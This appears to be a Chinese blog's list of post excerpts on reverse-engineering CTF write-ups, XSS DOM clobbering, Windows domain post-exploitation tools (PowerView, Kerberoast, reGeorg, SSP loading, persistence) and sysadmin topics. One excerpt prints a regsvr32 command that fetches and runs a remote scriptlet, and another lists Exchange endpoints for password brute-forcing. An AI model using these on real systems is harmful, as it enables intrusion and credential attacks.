- 博客(897)
- 收藏
- 关注
原创 XSS当中的DOM clobbering
DOM clobberingHow to exploit DOM-clobbering vulnerabilitiesExploiting DOM clobbering to enable XSS主要是学习了下这个相关的知识点,目的只是想要记录下分析过程,介绍的话就直接引用相关文章的内容了DOM 破坏是一种将 HTML 注入页面以操作 DOM 并最终更改页面上 JavaScript 行为的技术。DOM clobbering 在XSS不可能的情况下特别有用,但您可以控制页面上的某些 HTML,其中属性i
2021-08-11 15:18:54
621
原创 演示栈从高地址向地址分配过程
我们声明三个字符型变量,其实只有每四个字节当中的第一个字节在书写我们相应的赋值的内容,因为大部分因特尔处理器内存定位都是4的倍数#include<stdio.h>#include<stdlib.h>int main(){ char a = 'a'; char b = 'b'; char c = 'c'; float f = '0.5'...
2020-04-05 15:25:42
765
原创 main函数的前序执行过程简单介绍
main函数的前世今生main函数其实是我们能控制的程序入口,但是程序编译之后进行执行却不是从main函数开始的,这里主要讲解下VC6.0++下编译的程序在执行main函数之前的流程,其实主要为在执行main函数之前做了环境变量和参数个数以及参数的解析,然后初始化一些全局变量、堆、io等内容/****crt0.c - C runtime initialization routine** ...
2020-04-02 19:07:47
851
原创 生活当中调整时钟时间背后发生的事情
生活当中调整时钟时间背后发生的事情我们在生活当中想要设定时钟、手表的时间的事情,我们通过会和大多数人一样,会按照手机上的时间来设定。但是,这背后发生了什么事情,我想大部分人应该是不知道的,其实我们自己的时间是自动设定。每隔一阵子,我们的手机便会悄悄地、无声地、询问你的服务供应商网络:“嘿,现在几点了?”那个网络便会去问更大的网络,后者又去问更大的网络,经过许多的基站与电线之后,才终于抵达真正...
2020-02-12 17:04:31
429
原创 powerview当中的-Get-NetGroupMember(Get-DomainGroupMember)
Get-DomainGroupMemberfunction Get-DomainGroupMember {<#.SYNOPSISReturn the members of a specific domain group.Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies:...
2019-12-23 10:42:10
711
原创 powerView--Get-NetDomain
获取域的有关信息filter Get-NetDomain {<# .SYNOPSIS Returns a given domain object. .PARAMETER Domain The domain name to query for, defaults to the current domain. .PARAMETER Cr...
2019-10-15 16:22:13
459
原创 无回显--查询进程存活情况
当我们无法获取回显判断进程是否存活的方法调用命令regsvr32 /s /n /u /i:<url/aa.sct> scrobj.dll<?XML version="1.0"?><scriptlet><registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA0...
2019-10-12 13:47:57
221
原创 Exchange可以拿来爆破的接口
Exchange可以拿来爆破的接口1、EWS 服务 URL,exchange web 服务配置https://192.168.88.129/ews/exchange.asmx2、还可以是owa接口–提供WEB方式邮件访问功能https://192.168.88.129/owa3、可以是AUTODISCOVER自动发现服务根据您是否在单独的站点上配置了自动发现服务,自动发现...
2019-10-09 16:42:02
2485
原创 看雪ctf晋级赛第十题wp
使用PEiD查看下是.net程序,这个程序是可以直接进行反编译的所以我们使用ILSpy进行反编译下,我们可以看到程序就是叫我们输入一个字符串,然后和Kanxue2019一起给传入a函数当中,算结果为4RTlF9Ca2+oqExJwx68FiA==所以下面我们看下a函数,ICryptoTransform是拿来做加密转换的,RijndaelManaged类是拿来做AES算法的一个类,...
2019-10-08 13:37:42
299
原创 看雪ctf晋级赛第六题wp
查看导出表,就一个main函数打开strings窗口,查看strings,可以看到下面是有很多字符串的程序运行,输出结果如下所示,所以我们需要去定位到这个字符串,看看是哪里调用的在我们的sub_4014C0当中被用到了查看伪代码如下所示scanf以后是sub_004012F0这个函数验证,验证从第8位开始之后的12位字符,要全部相等,然后以及我们输入的字符...
2019-10-08 13:28:49
351
原创 看雪ctf晋级赛第二题wp
安卓题目,应该就是有关动态库的题目了,所用对动态库进行分析,利用工具IDA、jeb、vs等利用IDA动态调试,对sub_784进行分析,可以确定其实就是是rc4加密算法,以及下面的进行编码的业务逻辑组成用到的其实就是RC4算法: 1、密钥流:RC4算法的关键是根据明文和密钥生成相应的密钥流,密钥流的长度和明文的长度是对应的,也就是说明文的长度是500字节,那么密钥流也是500字节。当然...
2019-10-08 13:19:24
533
原创 看雪ctf晋级赛第一题wp
利用中文引擎搜索搜索到Kanxuectf这一串字符串的所在,然后下断点之后就会发现它在和我们做比较,然后我们输入的26个大写的英文字母变成了下面的内容89opqrstuvwxyzOPQRSTUVWXYZm然后我们就找到了下面的对应关系,然后我们需要从右边的字符串当中找到KanXueCTF2019JustForhappy,对应的左边的字符串0 a1 b2 c3 d4 e5 f...
2019-10-08 13:17:11
235
原创 基于rpc调用-动态加载ssp
此篇文章结合学到的知识做个总结微软有个api为AddSecurityPackage,可以添加ssp,这里就看下其的实现逻辑,这里从将从公开这个 API 的 secur32.dll 这个 DLL 文件开始,主要为本人进行了修改以及自己去复现的总结在 Ghidra 打开这个 DLL 文件,这实际上只是一个调用 sspcli.dll 的包装器我们这边主要是看sspicli.dll的实现逻辑是...
2019-10-08 11:48:54
3189
2
原创 Library-Files-维持权限--对比自带CLSID打开程序
下面是3g老师的代码function Invoke-LibraryFilesPersistence{ <#.SYNOPSISFirst modify the registry and then create a file named Documents.library-ms in %appdata%\Microsoft\Windows\Start Menu\Programs\Acc...
2019-10-06 10:43:02
255
原创 IIS-扩展接口ISAPI-Filter分析
ISAPI 筛选器(ISAPI filter)导出函数1、BOOL WINAPI GetFilterVersion( PHTTP_FILTER_VERSION pVer);该函数是DLL筛选器第一次被加载到站点处理进程时被调用。2、DWORD WINAPI HttpFilterProc(PHTTP_FILTER_CONTEXT pfc,DWORD notificationType,LPVO...
2019-10-04 11:00:47
599
原创 屏幕截图--Take-ScreenShot分析
C#代码分析$code = @' using System; using System.Runtime.InteropServices; using System.Drawing; using System.Drawing.Imaging; namespace ScreenShotDemo { /// <summary> /// Provides functi...
2019-10-02 23:30:53
1639
原创 Kerberoast 工具集--查找域下的SPN--GetUserSPNs
代码如下所示# Edits by Tim Medin# File: GetUserSPNS.ps1# Contents: Query the domain to find SPNs that use User accounts# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast...
2019-10-02 21:34:24
1482
原创 reGeorg的工具原理
首先先创建一个socket去运行,去连接想要连接的端口reGeorgSocksProxy客户端与服务端的通讯是基于session来区分的,并不支持在指定的session下进行socket_set_nonblock 设置socket为非阻塞ob_end_clean()时缓冲区内容将被丢弃socket_write($socket参数1,$msg参数2,$strlen参数3) 作用:把数...
2019-09-30 08:05:33
2883
原创 Packed-密码学题
基本概述We just found a dead robot. It seems there is some useful data left but somehow it got confused with other data and now we don’t know what’s useful and what’s junk. We just know there is only on...
2018-12-20 17:30:30
976
1
原创 VLSM子网划分技术
基本概念VLSM其实也就是可变长子网掩码,主要就是来解决子网划分的问题的,因为如果说我们都考A类地址,B类地址,C类地址这样的网络位固定,主机位固定来划分网段,显然会造成IP地址的浪费,所以我们让网络位向右移动,占用主机位也就是向主机位借位的方式来生成新的网络位就可以比较好的处理网段划分问题子网的划分可以将一个大的局域网络进行切割为多个小的局域网,可以将一个大的广播域划分成几个小的广播域环...
2018-12-06 01:54:20
4740
原创 CSMA/CD介质访问控制方法
基本概念早期的局域网的部署一般都是总线型的,总线型局域网采用&amp;amp;amp;quot;共享介质&amp;amp;amp;quot;的方式,所有结点都通过网卡连接到作为公共传输介质的总线上。总线通常采用双绞线或者同轴电缆作为传输介质...
2018-11-15 15:07:48
13389
原创 Python-验证修改文件内容其实就是覆盖文件的内容
Python当中的文件操作,以可读可写的方式打开文件f = open('testFile1','r+',encoding='utf-8')f.write('sssssssssssssss')对testFile1写入了sssssssssssssss,我们去查看testFile1文件的内容然后我们再通过下面的代码进行写入,就可以看到覆盖操作了f = open('testFile1',...
2018-10-28 21:01:31
945
原创 Python练习题
1、使用while循环输出1 2 3 4 5 6 8 9 10#!/usr/bin/env python#coding:utf-8import getpassimport timecount=1while count <=10: if count==7: print("") else: print(count) cou...
2018-10-24 10:37:06
466
原创 机器学习基本概述
基本概述机器学习其实是一种统计学方法,计算机通过已有的数据,得出某种模型,在利用此模型来预测结果下面是这个简单的例子就可以说明一定的机器学习的理念,其实机器学习就是在不断的吸收经验的过程,随着经验的增加,效果会越来越好其实上面的过程规范点就是下面的流程机器学习的定义其实就是如果一个程序可以在任务T上,随着经验E的增加,效果P随之增加,则这个程序可以从经验当中学习,当然机器学习只是实...
2018-10-21 14:34:18
569
原创 计算机网络基本概念
基本的概念1、网络互联需要克服异构网络在分组的长度、结构和头部以及传输速率上的差异,这个时候就提出了网关的概念,其实从功能上来说,提出的网关实际上就是路由器2、针对TCP/IP协议互联主机数量急剧增加的情况,网络系统运行和接入计算机管理称为迫切需要解决的问题,所以在这个背景下,提出了域名系统也就是(domain naming system,DNS)的概念。域名系统DNS将接入网络的多个主机划分...
2018-09-20 12:32:01
484
原创 计算机图形学基本概念
基本概念计算机图形学其实研究的就是如何去利用计算机生成图像的,需要了解的一股概念就是一切皆像素![Alt] http://graphics.stanford.edu/data/3Dscanrep/dragon.jpg...
2018-09-17 18:59:18
2217
原创 查看内置命令和非内置命令帮助的几种方法(man、help、info)
好久没有写东西了,这边就做一个总结,可能写的不太完善内置命令就是shell当做自带的,因为shell当中自己要进行管理,那么就需要一些命令进行管理,不同的shell肯定有不同的shell命令,我们用type命令就可以看到其的类型,内置shell命令其实就是bash当中内部的命令,就好比我们一个软件内部的嵌套的不同的功能一样外部命令:在文件系统的某个路径下有一个与命令名称相应的可...
2018-09-09 10:12:13
2363
原创 Mac下python3.6.5的安装
Mac下python3.6.5.的安装的简单介绍1、其实我们可以直接通过brew来进行下载,下载完成之后其实我们就可以直接在终端下通过python3来进行使用了brew install python3需要注意的是Mac上是自带python环境的,是2.7的,如果我们在终端下输入的命令是使python,那么就会进入Mac下自带的python环境中 2、如果我们是原本之前还安...
2018-09-07 15:44:05
4703
原创 Linux当中手动修改配置文件创建一个用户
目标:我们要创建一个zouni 用户1、编辑配置文件vim /etc/group添加下面的这一行 2、编辑/etc/passwd文件vim /etc/passwd添加下面的信息 3、然后创建家目录/home/zouni,然后再将/etc/skel当中的文件都拷贝过去mkdir /home/zounicp -r /etc/skel/. /home...
2018-09-06 10:43:59
4706
1
原创 安装rvm的步骤
最近想升级下ruby,通过rvm的方式so easy,rvm是一个命令行工具,可以提供一个便捷的多版本 Ruby 环境的管理和切换。1、在安装RVM之前先导入公钥gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 2、输入下面的命令来请求安装\c...
2018-08-28 15:03:54
13762
5
原创 编译安Apache2.4报错checking for APR... no configure: error: APR not found. Please read the documentation.
Apache2.4编译报错checking for APR… no configure: error: APR not found. Please read the documentation.解决方法1、下载所需软件包:wget http://archive.apache.org/dist/apr/apr-1.4.5.tar.gzwget http://archive...
2018-08-27 11:49:11
4639
原创 saltstack当中的pillar的基本使用
saltstack默认将主控端配置文件中的所有数据都定义到pillar中,而且对所有被控主机开放,可以通过修改/etc/salt/master配置中的pillar_opts:Ture来开启这项功能,然后重启master 服务再去进行查看然后我们去刷新pillar信息,使用下面的命令salt '*' pillar.items得到的结果如下所示 我们要想自己去...
2018-08-23 08:16:32
1849
原创 Linux下的sersync和rsync实现实时同步
对于rsync这里级不做过多的解释了,主要介绍的是sersync的配置1、如果电脑没有安装sersync服务的话,我们可以在这个地址进行安装sersync下载地址2、我们将下载过来的sersync2.5.4_64bit_binary_stable_final.tar.gz包给上传到我们的服务器的/usr/local/src当中,然后我们去解压它 tar zxvf sersy...
2018-08-19 20:20:45
615
原创 Linux下使用mailx来使用外部邮箱发送邮件
Linux下使用mailx来使用外部邮箱发送邮件首先如果我们可以先用rpm工具先去查询下有没有mailx这个工具rpm -qa mailx如果没有的话,我们就可以通过yum工具去进行下载 yum install mailx -y下载完成之后,我们可以在/etc/目录下看到mailx的配置文件mail.rc,我们要配置外部邮箱就要在这里面进行配置set f...
2018-08-15 16:56:33
2098
原创 Swift当中的AnyIterator和AnySequence的使用
首先我们先看下在苹果的官方的文档中给我们的介绍其的一些方法首先是关于AnyIterator的初始化方法,官方解释就是创建一个迭代器,该迭代器在其next()方法中包装给定的闭包,所以我们下面的例子初始化AnyIterator其实就是包装为了next方法init(_body: @escaping () -> AnyIterator.Element?)然后我们再来看下例子...
2018-08-07 15:37:29
1327
原创 构建者模式案例体现
最近学习到一个构建者模式的案例,感觉又有了点体会,记录一下,首先我们来分下角色的划分角色一:组装类->ZXAlertController角色二:构建者->Builder角色三:产品->AlertController角色四:构建者参数类->BuilderParams 首先我们先来看下我们的构建者参数类import UIKit//建造...
2018-07-30 16:24:25
247
原创 ios-侧滑栏的动画制作
基本了解 首先我们先简单的来看下实现的效果,在侧滑栏出来的时候是会有下面的波浪的效果的 首先我们先分步骤来进行规划1、点击切换按钮添加一个模糊的背景2、点击按钮的时候会从左滑入一个菜单栏3、让view动起来其实就是进行多次绘制(动画基于绘制)可以用贝塞尔曲线来进行绘制4、通过两个辅助的view,求出它们的差值,因为两个view如果弹簧的摩擦不一样,动画不一样...
2018-07-30 11:52:27
678
原创 关于Core Animation当中的呈现图层和模型图层
在核心动画当中是分两个图层的,一个是显示图层,一个是模型图层我们给UIView的属性frame和backgroundColor赋值其实都是赋值给了模型图层,这个模型图层就保存了这些值,我们的显示图层是实时更新的CALayer的属性行为其实很不正常,因为改变一个图层的属性并没有立刻生效,而是通过一段时间渐变更新 当我们去设置CALayer的属性,其实就是定义在当前事务结束之后...
2018-07-27 08:54:47
414
原创 关于CAAnimation的结构
我们首先先来看下去的类结构其实CAAnimation是一个抽象类,官方文档说的也很明白我们不能够去直接创建CAAnimation的对象,而应该去创建其的子类对象 以及我们的CAPropertyAnimation也是一个抽象类,官方文档的介绍如下所示 Core Animation这个基本框架其实是用来绘图和做动画的,其中我们经常使用的UIView当中,UIView是...
2018-07-27 07:00:48
500
原创 Linux当中block块大小的面试题
1、如果有一个100M的磁盘分区,分别写入1K的文件或写入1M的文件,分别可以写多少个?这个其实就是需要根据inode的数量和block的数量来定的,每个分区的block数量和inode的数量是有限的对于Block为4K大小的文件系统来说,写入1K大小文件的数量分两种情况如果inode数量足够多的时候,能写入的文件的数量就是Block的数量,对于这种情况来说,会浪费3/4的容...
2018-07-26 19:25:52
2054
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人